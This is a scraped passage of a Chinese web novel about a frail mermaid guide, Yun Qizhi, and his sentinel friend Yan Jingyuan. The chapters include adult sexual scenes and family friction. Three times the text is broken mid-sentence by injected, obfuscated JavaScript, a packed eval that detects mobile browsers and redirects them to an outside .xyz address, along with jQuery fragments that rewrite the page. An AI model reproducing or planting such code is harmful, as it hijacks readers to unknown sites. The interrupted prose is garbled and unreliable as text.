宴景鸢并没有料理方面的天赋，一次次的尝试，唯一能够吃的其实就是简单的煮鸡蛋、炒鸡蛋，就这么简单的料理，他时不时都会翻车。 如果食材充足，他还会往里面丢几根菜叶子。 哦。 难吃。 但这并不影响云起之会乖乖吃下宴景鸢做的饭。 事实上，云起之在“吃”上几乎没有任何欲望，如果不是身边人盯着，他甚至可以一整天不吃东西。 在这一方面，他显得无欲无求。 吃过难吃的蛋炒饭，云起之和宴景鸢一起收拾厨房。 每当这种温馨且平和的相处，云起之都有一种微妙的感觉，他和宴景鸢的相处模式很像是老夫老妻…… 哦。 好吧。 他们并不是。 他们是朋友。 亲密无间的，能够躺在一张床上，拥抱的…… 嗯。 朋友。 不能说是宴景鸢不正常，应该说是他有病，他的病引导着宴景鸢。 就是有病。 两种病。 第一种病，肌肤饥渴症。 八岁，觉醒为C级哨兵时所患的病，也是因为这个病，他和宴景鸢之间多出了许许多多的亲密接触。 第二种病…… 是十八岁时二次分化为向导时所患的病，属于人鱼的病。 发情期。 对于云起之的发情期，宴景鸢并不知道原因，知道的只是他有病。 云起之其实查询过历史上人鱼向导发情期的周期，很遗憾，相关信息非常少。 也能理解，人鱼向导太少，并且，即便真的有相关信息，也有可能特意封锁。 不过，他搜寻到不少拥有第二特征的信息，就比如宴景鸢，他能够全兽化，又或者是巫凝莎向导，她能够半兽化。 曾经，云起之看过这样一句话。 动物与人类最大的差别是，对情欲的掌控能力。 没有办法控制自己的欲望，那和畜生有什么区别？ 哦。 云起之想，他就是畜生。 欲望、贪念、情欲，他完全控制不了。 云起之搜寻的相关记录中，半兽化相对好控制，全兽化的状态控制起来就很有难度。 真巧。 云起之想，他和宴景鸢都拥有第二形态。 当然，宴景鸢并不清楚他拥有第二形态，宴景鸢知道的只有一点，他有病。 云起之很坦然地接受了自己有发情期的事实。 当然难熬，最开始也很难接受，但人就是这样，无论遭遇任何糟糕的事情，他们能够做的就只有接受，并且，为了能够更好地活着，他们会想方设法地让自己更加舒适。 他们会不断地影响着身旁的人。 原本认为不正常的关系，在潜移默化之下变成正常。 过去觉得无法理解的事情，进入情理之中。 界限逐渐变得模糊。 脑海中想着乱七八糟的事情，云起之的手上是一个刚洗干净的餐盘，他需要将之放到沥水架上。 忽然…… 宴景鸢从云起之的身后抱住了他。 因为忽然的拥抱，云起之手上还粘着水的餐盘落在了水池。 ——咔嚓。 餐盘碎裂的声响在耳畔响起，视觉上是碎裂的瓷器，一片片散落于水池。 看得到眼前的狼藉，云起之理智上想着要收拾，而感官上，他的注意力已经完全放在了宴景鸢的触碰上。 宴景鸢的身形高大，一米九以上的身高，完全罩住了云起之。 云起之并不算矮，一米七五的身高，不过，可能是因为饮食不规律，他整个人显得非常纤弱，宴景鸢从云起之的身后能够将他整个人拥抱在怀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029799|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴景鸢将头埋入云起之的脖颈。 他温热的唇瓣贴在云起之白皙的脖颈柔嫩的肌肤上，这是细细密密的亲吻。 十八岁那一年，属于人鱼的第一场发情期以汹涌的方式淹没云起之之后，他会和宴景鸢一起度过最难熬的几天。 哦。 当然。 他们从来没有跨越过最后的界限。 他们的亲密接触来源于“病”，字面意义上的病。 因为有病，他被帮助是正常，没有跨越最后那一道线，是因为…… 他们是朋友，而不是恋人。 宴景鸢的手臂力量非常强大，以拥抱的方式，他将云起之抱起，二人面对面。 云起之双手自然而然地环抱住宴景鸢的脖颈。 宴景鸢的一只手轻轻抚摸云起之的脸颊，说道：“我先去洗洗。” 云起之：“……你确实需要洗洗。”他又补充，“有味道。” 这是正常。 宴景鸢才从沙漠环境中出来，连日来奔波，身上沾染着味道，还有就是…… 烟味。 强大的五感下，对哨兵、向导来说烟的刺激性非常强，然而，还是有一大批的哨兵向导们沉迷于烟。 甚至于比起普通人，哨兵对烟的依赖性更强。 虽说刺激，按照哨兵们的说法，和普通人不一样，他们的精神时刻处于错乱的状态，而刺激性强的烟能够抚平他们的焦虑。 明知这不是什么好东西，但会渴望拥有。 云起之不喜欢烟味，也讨厌宴景鸢身上的烟味。 宴景鸢轻笑出声，询问：“要和我一起洗洗吗？” 云起之：“……不。” 宴景鸢：“那你等我。” 云起之：“哦。” 宴景鸢走向浴室。 云起之的目光始终落在宴景鸢的身上。 走到浴室门口，宴景鸢像是想到什么，顿住，又走回来，默默将碎裂的餐盘给收拾掉了。 云起之说道：“我来收拾也可以的。” 宴景鸢将碎裂的瓷片倒入垃圾桶，一只手握住云起之的手，这是没有任何伤口，白皙、纤长，堪称艺术品一般好看的手。 就和外貌一样，云起之全身上下没有丝毫瑕疵。 宴景鸢说道：“我担心瓷片会让你受伤。”他说着，将云起之的手凑到唇边落下轻轻一吻。 云起之头微微歪起，那双没有波澜的眸子始终注视着宴景鸢。 许多次。 许多许多次，宴景鸢都会给云起之一种错觉，他爱着他的错觉。 宴景鸢放开云起之的手，进入浴室。 水流声响起。 不久后，浴室的门被推开，宴景鸢上半身赤裸，身上留着水滴，浴巾遮住下半身走了出来。 宴景鸢看向云起之。 云起之还位于原来的地方，就是连动作也与之前相同，不过，在宴景鸢从浴室出来后，宴景鸢就成了他眼神的焦距点。 宴景鸢唇角弯起的弧度加深，他走到云起之的面前。 他将云起之抱起，放到了松软的床上。 视觉上这一幕是冲击眼睛的美，也令人感觉身心上的满足。 床是后来替换的。 就和这宿舍中许多物品是宴景鸢为云起之特意购置一般，床也是。 塔中提供给哨兵的床是硬邦邦的金属床，没过多久，宴景鸢就将单人金属床置换为双人床。 他脱下云起之的哨兵制服，随意地丢在地上。 制服内是白色衬衣。 衬衣的衣扣被云起之扣在了第二个位置，裸露出喉结。 宴景鸢眼睫低垂，一颗颗的为云起之解开剩余的衣扣。 柔美的颈线，分明的锁骨，柔嫩的肌肤似乎因为羞赧而染上若有似无得粉，云起之的一切，能够轻易冲击他人的视野，带来一场视觉上的盛宴。 解开最后一个衬衣衣扣，宴景鸢将衬衣丢在地上，他的身体覆盖在了上面。 8. 正常的关系 云起之睡着了。 他总是很容易感到疲惫，尤其是现在，释放过后感觉全身都很疲惫。 云起之能够感觉得到宴景鸢手指的温度。 半梦半醒之间，他触碰他的头发，他触碰他的脸颊，他触碰他的手指。 除了手外，宴景鸢还喜欢他的脚。 他会跪坐在地上，握住他的脚亲吻。 哦。 当然，这并不是爱。 以宴景鸢的说法是，他们之间位于友情界限外…… 好吧。 也不能说完全处于友情的界限外，按照网络上一些人的说法，好朋友之间互帮互助是正常的。 他们这种…… 姑且算是正常的行为，毕竟，这建立于云起之的病。 宴景鸢亲吻他的脚背，云起之理解为，这是他别致的性·癖。 很多人都有各自独特的癖好。 事实上，云起之并不觉得这有什么不好。 等云起之醒来时，时间已经是下午三点。 云起之感觉到了束缚感，他的头枕着宴景鸢的手臂，身体背对着他。 宴景鸢从云起之的身后拥抱住他，手臂牢牢锁定住他的身体。 耳畔是宴景鸢规律的呼吸声，这代表他还在睡觉，不过，下一刻，云起之就感觉到了宴景鸢呼吸的变化。 他醒过来了。 很正常。 哨兵、向导都很敏锐，很细微的声音就会惊醒他们。 当然，这点在云起之的身上并不成立。 可能是因为身体虚弱的原因，即便察觉到哪里不对，云起之仍旧会睡得非常熟，例如在被身旁人细细密密的亲吻、触摸时，他仍旧会睡。 云起之说道：“你可以继续睡。” 回应云起之的是宴景鸢再一次的触碰，他的手指在他的身上游移。 云起之握住宴景鸢不安分的手，他对自己的身体很清楚，多走几步路就会感到疲惫，虽说有肌肤饥渴症，喜欢亲密接触，更有发情期，但很显然，如果继续下去，那就不单单只是触碰。 会很累。 云起之讨厌累。 云起之说道：“我累了。” 以被云起之握住手的方式，宴景鸢压在云起之的身上，另一只没被握住的手触碰云起之的脸颊。 二人的目光对视。 在还小的时候，宴景鸢曾对云起之说，他最喜欢的就是云起之的眼睛，这是一双如同海洋一般的眼睛。 因为塔内洗脑式的教导，他们本能崇拜着相关人鱼的一切。 人鱼应该属于海洋。 哦，当然，虽说人鱼本应该属于海洋，但塔中的哨兵、向导们坚守的信念是，要将人鱼锁在塔。 塔是人鱼唯一的归属。 受着这样的教育长大，这其实也是云起之的想法。 人鱼就应该属于塔。 哪怕云起之觉醒为人鱼，这样的想法仍旧没有改变，他认为，他就应该属于塔。 不提归属问题，与人鱼最紧密关联的就是湛蓝的大海。 所以，大家喜欢蓝色。 宴景鸢最喜欢云起之的眼睛，他总会盯着云起之的眼睛看，目光直直，眼中是掩不住的喜欢。 让人会产生错觉的喜欢。 宴景鸢的嘴唇靠近云起之的眼睛。 逐渐靠近的距离下，云起之本能地闭上眼睛。 宴景鸢的唇落在云起之的眼皮上，之后一路向下，脸颊、鼻头…… 他唯独避开了云起之的嘴唇。 其实，在过去，云起之有向宴景鸢索过吻。 都已经这么亲密了，索吻是必然，然而，宴景鸢拒绝了他。 宴景鸢说：“起之，我觉得初吻要和真爱的人一起，不能这么随便。” 当时，云起之双瞳微微眯起，没有回答。 宴景鸢继续说：“我认为，接吻、□□，都要和心爱的人一起。” 云起之想，简单翻译一下就是，宴景鸢并不爱他。 宴景鸢总会在细节上让云起之感觉到爱，然而又从细节上明白，他是真的不爱他。 在宴景鸢的心中，他就是他珍惜的，一起长大的，患有病症的竹马。 他们之间的所有亲密互动，都建立于他有病。 他需求他。 第一次索吻被拒绝，云起之觉得羞耻，也觉得很痛苦，他不知道自己的脸颊有没有红，但他能够感觉到自己的脸颊很热，他说：“哦，你竟这么有男德。”他强迫自己以平稳的声音回复他的话，心口像是被蚂蚁啃食，很疼。 不能哭，不敢哭。 怕坠泪为珠。 宴景鸢微笑说：“我希望你也是，起之，或许在不久后，你就会遇到你喜欢的爱人，你会和他度过最完美的第一次。” 云起之：“……我并不在意。” 宴景鸢：“但我在意，”他面上的表情非常认真，“所以我希望你也能在意。” 其实这件事发生到现在并不算太久，毕竟他二次分化为人鱼向导也才两年。 伴随人鱼发情期的副作用越来越严重，云起之现在回忆起来，那其实是非常没有意义的一次对话。 关于这一方面，有病的云起之看得越来越淡，这对他来说是生存问题，而具有男德的宴景鸢始终坚守着自己的观念。 他们的思维完全无法碰撞在一起。 没有唇齿交融，更没有紧密融合，而除此之外的一切，他们都做了。 宴景鸢避开云起之的嘴唇，带着令人酥麻的吻落在了他的下巴上。 他的头埋入他的脖颈。 宴景鸢说道：“你身上的味道很好闻。” 云起之知道，过去宴景鸢也总是会说这种话。 云起之摸索出了一个规律，临近人鱼的发情期，味道就开始加重。 不仅宴景鸢，平时接触比较多的，就比如大哥云柏岚，又或者是关系很好的弟弟，也就是弟弟云新止的同学从秋阳，他们也总会说相同的话。 哦，云起之自己嗅闻不出来。 他好奇地问过宴景鸢，他身上的味道是什么味道？ 宴景鸢说，像是花香，隐隐约约又带着一股酒的味道，醇香醉人。 每次嗅闻，就令人舒适。 云起之当时在心中想，嗅闻他身上的味道并不一定能够令人感到舒适，但是可以肯定的是，因为他是人鱼向导，即便他什么都不做，只要与他接触，那么就能够安抚哨兵的精神状态。 没有巧合，只有必然。 就比如现在。 云起之感受着宴景鸢落在他脖颈处的温热，双手抱住他的头，说道：“景鸢，我累了。”他想，之前艾莉儿为宴景鸢进行疏导时，他的精神稳定值处于68点，而在他们类亲密接触后的现在…… 虽说没有唇齿接触，也没有进行到最后一步的深入交流，但即便如此，宴景鸢现在的精神稳定值也应该超越80点。 宴景鸢说道：“好。”他没再有进一步的动作，只是他的手一直触碰云起之的脖颈，他真的很喜欢触碰云起之的脖颈。 这里似乎是云起之身上味道的源点。 云起之很喜欢宴景鸢的触碰，哪怕脖颈是一个人身体最为脆弱的地方。 只要宴景鸢轻轻用力，就能收割他的生命。 当然，宴景鸢不会这么做。 说起味道，现在云起之需要思考的就是另一件事。 属于人鱼的发情期。 他的发情期非常不规律，还容易被情绪所操控，生气、愤怒、悲伤等等的极致情绪都有可能引来发情，在这没有丝毫规律可言的发情期，他人口中的“味道”是云起之判断发情期将要来临的唯一预兆。 两天后，他要跟随团队参与【洛尔贝涅镇海洋次元境】的任务。 这次的任务他并不知道会持续多久，根据宴景鸢所说的嗅闻到的味道，如果没什么意外，他会在次元境中度过发情期。 真糟糕。 如果可以，他要退出本次任务，没办法避免的话，那么他首先要做的就是购买药剂。 发情抑制剂。 一旦服用，就容易无欲无求，不过对云起之起到的效果有限，但有总比没有好。 抑制剂挺好买的，主要像宴景鸢等一些拥有全兽形态的哨兵会有这一方面的困扰。 拥有相关问题的哨兵仅仅属于非常少的一部分，并且他们很容易掌控自身的负面状态，因此抑制剂属于非常小众的产品。 塔内的药剂店并不售卖，需要去塔外购买。 心中乱七八糟地想着这些事情，云起之感觉着身上宴景鸢沉甸甸的重量，说道：“你好沉。” 宴景鸢“哦”了一声，躺在云起之的身旁，将他整个人圈在怀中。 宴景鸢说道：“起之，每次和你在一起，都觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029800|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好舒服。” 云起之想，这是必然。 云起之回抱住宴景鸢，头埋在宴景鸢的胸口。 宴景鸢很自律，3S级哨兵每次执行的任务难度都比较高，对应的是更久的休息时间，很多哨兵在休息时间会选择放松，对比之下，宴景鸢不仅训练，还会锻炼。 是的。 宴景鸢有胸肌、腹肌。 云起之很喜欢宴景鸢的身材。 云起之与宴景鸢拉开距离，看看他堪称完美的胸肌，再看看八块腹肌，再将脸贴上去。 满意。 他很喜欢。 宴景鸢轻笑出声，胸腔一阵抖动，一只手臂给云起之当枕头，另一只手轻轻触碰云起之洁白的长发。 在这还算缠绵的氛围下，二人有一搭没一搭地交谈。 云起之很喜欢听宴景鸢说话，或者说，他讨厌一个人的空寂感，这几乎也是患有肌肤饥渴症的人本能的症状。 他们喜欢亲密接触，喜欢交流，最喜欢被爱，被拥抱的感觉。 听说，拥抱是治疗心灵伤的最好的药。 云起之询问宴景鸢才结束的A级次元境的情况。 宴景鸢说起，不经意间他会提起巫凝莎，云起之不太高兴。 当宴景鸢第三次提起巫凝莎，云起之张开嘴，在宴景鸢的胸口咬出了牙印。 宴景鸢道歉，云起之才停止加重力道。 宴景鸢说道：“我不是故意提她。” 云起之皱眉，见宴景鸢还是要提巫凝莎，这次他加重了牙齿的力道。 他咬的力道一点都不含糊，唇齿之间有着铁锈味，他的牙齿咬破了宴景鸢的皮肉。 宴景鸢拥抱住云起之的力道加重。 云起之有些心虚，说道：“都是你的错。” 宴景鸢胸腔又是一阵抖动，轻笑出声，说道：“哦，好好好，都是我的错。” 犹豫了下，以被宴景鸢抱着的姿势，云起之用舌头轻轻舔舐被他咬出来的伤口，声音有些闷，又有些含糊，他说：“对不起。” 回应云起之的是宴景鸢再次压迫下来的体重。 云起之尝试着推开宴景鸢。 完全推不开，他们之间有着法跨越的体能差距。 宴景鸢的吻再一次落在了云起之的脖颈处，他说：“起之，这次是你先开始的。”他亲吻云起之的力道很轻。 曾经尝试过，云起之的皮肤敏感，只要稍微用一些力道，就会在他的身上留下印记，一方面是担心会弄疼云起之，另一方面，塔的四面八方都是眼睛，他并不想让人非议云起之。 云起之的体能是真的不行。 白色的长发散乱，额头上是细细密密的汗珠，湿润的发丝贴在脸颊，白皙的面容上是一片红潮，嘴唇微微开合，过近的接触下，宴景鸢能够感觉得到云起之嘴唇吐息的温热。 原本就是精致漂亮的人，在这一刻，被宴景鸢压迫在身下的人，更是好看到惊心动魄。 无数次…… 真的是无数次，在看到这张脸时，宴景鸢都下意识想要亲吻身下人的唇瓣。 但是。 不行。 他们并不是可以这么做的关系。 对于这种冲动，宴景鸢有着清晰的自我认知。 ——被美貌所蛊惑。 宴景鸢的一只手沾染着属于云起之的液迹，另一只手触碰云起之潮红的脸颊。 云起之想，他需要起来洗一洗，他不太喜欢黏腻的感觉，但现在，他真的连爬起来的力气都没有了。 宴景鸢看着云起之，说道：“起之，你的脾气这么糟糕，也就只有我能容忍了。” 云起之看着宴景鸢胸口的牙印，沉默不语。 宴景鸢笑了笑，又说道：“以后你的爱人或许会很烦恼。” 云起之眉头不易察觉地皱了皱。 宴景鸢：“不过，我想，你未来的爱人会纵容你的。”他说着，在云起之的额头上落下一吻。 片刻的沉默后，云起之说道：“……在你的设想中，我的未来，会有伴侣。” 宴景鸢抬眸，二人目光对视。 宴景鸢面上表情疑惑，他说道：“你当然会有伴侣。”他的声音理所当然。 “……”云起之“哦”了一声，询问：“哦，那么你呢？” 宴景鸢的回复非常自然：“我当然也会有。” 云起之：“……” 9. 您使用香水了吗？ 云起之想，宴景鸢很懂得怎么让他生气。 原以为力气已经被消耗一空，但事实证明，只要足够生气，那还是有力气的。 云起之推开宴景鸢。 完全推不开。 云起之目光冰冷地看着宴景鸢，说道：“起来。” 宴景鸢了解云起之，从云起之现在的表情就可以判断出他生气了，但他并不是很懂，云起之为什么会生气？ 宴景鸢是真的不懂，但他知道的是，云起之生气的时候他最好乖巧一些，尽可能降低自己的存在感。 宴景鸢微微向后退，与云起之拉开非常少的一段距离。 云起之面无表情地从床上坐起，伴随他的动作，一头白色长发散开，无论任何时刻，他整个人都仿佛透着光。 只要他在的地方，他就是他人的目之所在。 他存在的本身，就是他人的欲望。 云起之下床。 宴景鸢目光随着云起之移动，他说：“起之，你现在是要……” 云起之的动作下，是从云起之腿部下滑的白色黏液，透着一股靡丽的美感，冲击着宴景鸢的视野。 宴景鸢禁声。 云起之看向宴景鸢，说道：“我去洗洗。” 宴景鸢说道：“啊，我可以帮你。” 就和过去一样，考虑到云起之的体能，在这些方方面面，宴景鸢始终迁就着云起之。 在这里有一点比较微妙的是，云起之的个人信息资料中的体质是B级。 B级体质为达到平均线上的体质。 按照普通人的标准，就是能够干重体力活的标准，例如，去工地搬砖，扛水泥麻袋。 宴景鸢知道“B级”体质的概念是什么，他也知道云起之身份信息上的体质，理论上，他们之间的这些事情并不会累倒云起之，但是，他就是体感云起之很疲惫。 事实上，云起之其实是真的累。 两年前的云起之或许还是B级，而现在，他并不是，他自己也不知道自己的体质下跌到了什么等级。 云起之说道：“哦，不用。” 云起之收回目光，迈开脚步，进入浴室。 就和不久前宴景鸢进入浴室时，云起之看着他一样，宴景鸢的目光也一直在云起之的身上，当浴室的门关上，哗啦啦的水流声响起，宴景鸢才收回目光。 宴景鸢是真的不太懂，云起之会生气的原因。 他很认真的思考，回忆之前与云起之相处的细节。 越是珍惜一个人，就会不断地思考。 宴景鸢非常珍惜云起之。 宴景鸢还是无法理解，为什么云起之会生气？ 就在这时，手腕上的终端一阵震荡。 宴景鸢从思考中回过神，另一只手想要触碰终端开启投屏，入眼的是手指上沾染的液体。 那是不久前，属于云起之的液体。 宴景鸢的瞳孔微微收缩了下，他不知道这一刻的自己是怎么想的，当他反应过来时，他已经…… 将手指放到了嘴里。 没有想象中的好吃。 不好吃。 和想象中的不太一样。 宴景鸢：“……”他的目光有些心虚地朝着浴室的方向看去，耳中是哗啦啦的水声。 哦。 等宴景鸢反应过来的时候，他又舔了舔手指。 有毒。 又舔了舔。 宴景鸢：“……” 宴景鸢下床，翻出一条浴巾。 不久后，云起之从浴室走了出来，他的脚步顿住，入眼的就是站在浴室门口，手上拿着浴巾的宴景鸢。 就和过去一样，宴景鸢用宽大的浴巾罩住云起之，将他抱到床上。 可能是因为有时间的缓释，前一刻云起之还显得十分生气，现在这一刻他的气好像消了，任由宴景鸢为他服务。 宴景鸢说道：“你又用冷水洗澡。” 云起之沉默。 宴景鸢说：“你不想回答的时候，就会沉默。”他轻声叹息。 云起之说道：“哦，还有我不想理你的时候。” 宴景鸢假装没听到云起之这句话，继续说道：“凉水不好，你会生病。” 云起之又沉默了。 宴景鸢将云起之身上的水迹擦干净，开始用柔软的毛巾为云起之擦头发，他的手指会在不经意之间划过云起之的脖颈，又为云起之吹头发。 云起之的头发很长。 长过腰际的长发，很多时候云起之都觉得很烦，但宴景鸢对他的这一头长发总是显得耐心十足，他会很认真地为云起之打理着每一缕发丝，时不时会捧起一缕发丝放到唇边轻轻亲吻。 足足用了半个小时，云起之的长发被吹得蓬松顺滑。 在这期间，两人之间是一阵沉默。 宴景鸢将散落于一地的衣服捡起来，从衬衣开始为云起之穿上。 宴景鸢喜欢脱云起之的衣服，也喜欢为他穿上衣服，一个个的系上衣扣，系到衬衣最上方，尽可能遮掩住脖颈白皙的皮肤，“起之，如果让你不高兴了，我很抱歉。” 云起之：“……” 云起之的沉默中，宴景鸢又说：“我想了很久，我觉得你可能是在气，如果我以后有伴侣，不会把你当成我最好的兄弟。”他左思右想，得出了这样一种结论。 宴景鸢看着云起之的目光满满都是真诚。 云起之瞪大眼睛，瞳孔微微收缩，他的脑海中闪过五个字。 ——脑子进水了。 有病！ 哦。 好的，脑子进水的，有病的，缺心眼的还有他自己。 云起之瞪大的眼睛下，宴景鸢继续说道：“起之，你相信我，哪怕有伴侣，我们也是最好的兄弟！” 云起之：“……”真是见了鬼的好兄弟。 云起之深吸一口气，与宴景鸢拉开距离，将哨兵制服披上，朝着门的方向走。 宴景鸢立刻追过去，询问：“起之，你去哪里？” 云起之不想看到宴景鸢。 至少这一刻，他不想再看到宴景鸢，他不想听宴景鸢幻想着所谓的未来伴侣。 不想听。 不愿听。 云起之声音冷漠，“和你有什么关系？” 宴景鸢：“或许我们可以一起？”他完全不在意云起之冷漠的态度，或者说，云起之时不时就会这样，所以大家都说云起之的脾气不好。 像是飞鸢团的成员，他们会说云起之不识抬举，认不清自我，恃宠而骄。 更有一些人说，云起之是在利用宴景鸢。 云起之说道：“你不要跟着我，我现在不想见到你。”他的手握住门把手，然后，宴景鸢又握住了他的手腕。 云起之看向宴景鸢，声音冰冷，“放手。” 宴景鸢犹犹豫豫，还是放手了，他说：“那我晚一点给你发信息。” 云起之头也不回的走出宴景鸢的宿舍。 偌大的塔，他能回的只有家。 哪怕他并不喜欢这个家，但，现在这一刻，他并不想留在宴景鸢的宿舍。 该说不说，运气就是这么的微妙。 当电梯停下，今天第三次，云起之见到了罗素执政官。 罗素在塔的地位高高在上，云起之作为C级哨兵，他平日几乎与罗素没有任何接触的机会，但今天，他们第三次遇见。 又一次，云起之想，他或许可以等下一班电梯。 同样的，在电梯内唐秘书一句“真巧啊，云起之哨兵”的招呼声下，云起之被动迈开脚步，进入电梯。 云起之觉得不太自在，好在146层与148层就只有两层楼之隔。 电梯门关上。 唐秘书看向云起之，面上的笑容恰到好处，她说道：“今天已经是第三次见到了呢。” 云起之：“……是的。” 唐秘书嗅了嗅，询问：“云起之哨兵，您使用香水了吗？” 因为强大的五感，即便是女性哨兵也不太使用香水，一方面是刺激自己，同时也对其他的哨兵、向导不太友好。 虽说并没有明文规定，但在公共场合不使用刺激性物品，这是塔中哨兵、向导遵守的基本规则，也是礼仪。 塔外可以，在塔内，他们绝不会使用香水。 云起之眼皮跳了跳，说道：“没有，”他又说，“可能是在哪里沾染到的味道。” 唐秘书笑了笑，说道：“哦，是一种很好闻的味道，出乎意料的并没有让人感到不适。” 唐秘书是S级的哨兵。 正巧。 电梯停在了148层。 云起之松了一口气，礼貌地和罗素执政官与唐秘书道别，加快步伐走出电梯。 等电梯门关上，云起之回头朝着门的方向看去。 之前，一年都不一定能够见到罗素执政官一次，今天一天就见到了他三次。 云起之希望，接下来不要再见到他。 倒不是对罗素执政官有偏见，单纯是因为这位阁下在塔的地位过高，让他觉得…… 很不自在。 他们之间的差距宛如天堑。 收回目光，云起之通过指纹开门。 大哥云柏岚不在的日子，对云起之来说，“家”是冰冷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029801|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 无论是和父母，又或者是姐姐、弟弟，他们之间的交流微乎其微，但凡不是云柏岚成为中间的纽带，他们甚至没有机会一起吃饭。 在这冰冷的家庭，云柏岚是维系全家的纽带。 只要云柏岚在，他就会将家人聚在一起，大家一起用餐。 因为大哥云柏岚，这个家始终是云起之的避风港。 理所当然。 现在这个时间点家里并没有人。 按照弟弟云新止的说法，从身为大家长的云煜城到最小的云新止在内，他们每日都很忙，对比之下，云起之就很会摆烂。 这种摆烂和咸鱼有什么两样？ 当时云新止的目光直勾勾地看着云起之，没有避讳，他就是在直白地指责云起之的咸鱼。 云起之回视云新止，并没有羞愧，声音不急不缓：“哦，你说我是咸鱼，只能说……”片刻的停顿后，他说，“说对了。”他就是一条咸鱼。 字面意义上的咸鱼。 海里的鱼，哪里有不咸的？ 云起之完全没有将弟弟的冷嘲当一回事。 就算他不是海里的鱼，全家人的日程安排中就能够看出来。 近几年来一直想方设法接替简宛儿的塔第二位执政官位置的云煜城，又或者是一直辅助云煜城壮大势力的妻子埃尔莎女士，以及云家另外三位2S级的哨兵，对比之下，C级的云起之确实显得非常摆烂。 毕竟，他这个等级，其实努力也没有任何意义。 飘不起丝毫浪花。 回到家。 不去想令人厌烦的宴景鸢…… 早知道会发生这种事情，之前咬宴景鸢时，他应该咬得更大力一些，直接将他胸口的一大块肉给咬下来。 甩了甩头，一头白色的长发形成柔美的波浪，云起之深吸一口气，然后就想到了更让他烦躁的事情。 那真是无暇顾及宴景鸢的事情。 那两颗丢失的人鱼之泪。 云起之再次寻找起了人鱼之泪。 其实…… 他还有一种寻找方式。 水。 水是他的感知。 他可以凝聚出水。 水所覆盖的地方，他的感知弥漫过去，就能够感知到一切，这是他的领域场，但是…… 他的目光四处扫了眼。 这里是“家”。 通铺的木地板、暖融融的绒毯、价值不菲的皮革沙发、木制家具、精美的摆件…… 一旦遇到“水”，就会损坏。 在这里，不能用异能。 云起之又围绕着整个客厅寻找了一遍，他甚至试图将沙发抬起来…… 抬不起来。 完全抬不起来。 他的力量太弱了。 就在云起之试图推动沙发时，门口传来一阵动静。 云起之停下手上的动作，坐姿端正地坐在沙发上，他也不是一开始就坐得这么端正，就是在年幼时被云煜城训斥过坐姿后形成的习惯。 坐骨压在坐垫，腰背挺直。 当然，这是一个好习惯。 门被推开，进来的是云新止，他比云起之小两岁，今年刚成年，已经开始接塔任务。 云新止的身旁还有二人，一男一女，朝气蓬勃，面容稚气未脱，是云新止的同学，现在他的伙伴。 和见到哥哥还冷着张脸不懂问候的没教养的弟弟不同，两位伙伴礼貌地向云起之问候。 云起之对两人点了点头。 云新止看向云起之，说道：“你为什么在这里？” 不等云起之回答，云新止又说：“也是，你就从来没有努力过。” 云起之：“……” 如果是过去，云起之或许还会试图反驳，但今天，一方面是丢失的两颗人鱼之泪，另一方面是数次和宴景鸢进行不检点的行为导致的疲惫。 他不想说话。 目光冷漠地扫了云新止一眼，从沙发上站起身，直接回到了自己的房间。 当门关上，隔着一扇门传来云新止同学的声音。 “新止，你别总是针对你哥哥。” “对啊，你二哥这么好看，又有什么错呢？” “面对哥哥时要有礼貌，一日为兄终生为父，哪里有你这样说哥哥的？” 云新止试图反驳两个同学，但他每说一句话，他的那两位朋友就有更多的话反驳他。 一扇门的遮掩，卧室内的云起之虽说见不到门外云新止的表情，想当然，必然非常糟糕。 这么多年的兄弟，别的不太清楚，有一点可以肯定，他的这个弟弟肯定很气。 10. 新版终端 坐在沙发上，宴景鸢不懂云起之为什么会生气。 他决定问问朋友。 他打开个人终端…… 哦。 对。 之前个人终端震动，有未接短信息。 开启信息，是来自塔的通知。 ——您好，宴景鸢哨兵。 为确保塔内每一位哨兵的身心健康，科研部一直在研发可时刻监测哨兵精神稳定值的终端。 现在已有初步成果。 接到信息的3S、2S级、S级哨兵可去研发部先一步试用。 ^_^请早日更换新终端。 祝您生活愉快。 宴景鸢看向手上的旧终端。 科研部一直在努力，根据哨兵、向导的情况，基本每年都要更换两次终端。 当然，没有免费的午餐，新终端也要用钱购买。 在塔，也就是贡献值。 如果是之前的终端，宴景鸢并不会想更换个人终端，但能够时刻监测精神稳定值的终端，对任何哨兵而言都尤为重要。 宴景鸢从沙发上站起，走向出口。 他又想到了云起之。 他不懂云起之为什么生气，但必须哄，这几乎也是他们相处的日常。 这么多年的接触，一只手数得过来，也有宴景鸢非常生气的时候，他拒绝哄云起之，而那时，云起之会主动向他认错。 云起之的表情很委屈，他咬住嘴唇，眼睫泪湿，一双漂亮的眸子像是无辜的小鹿。 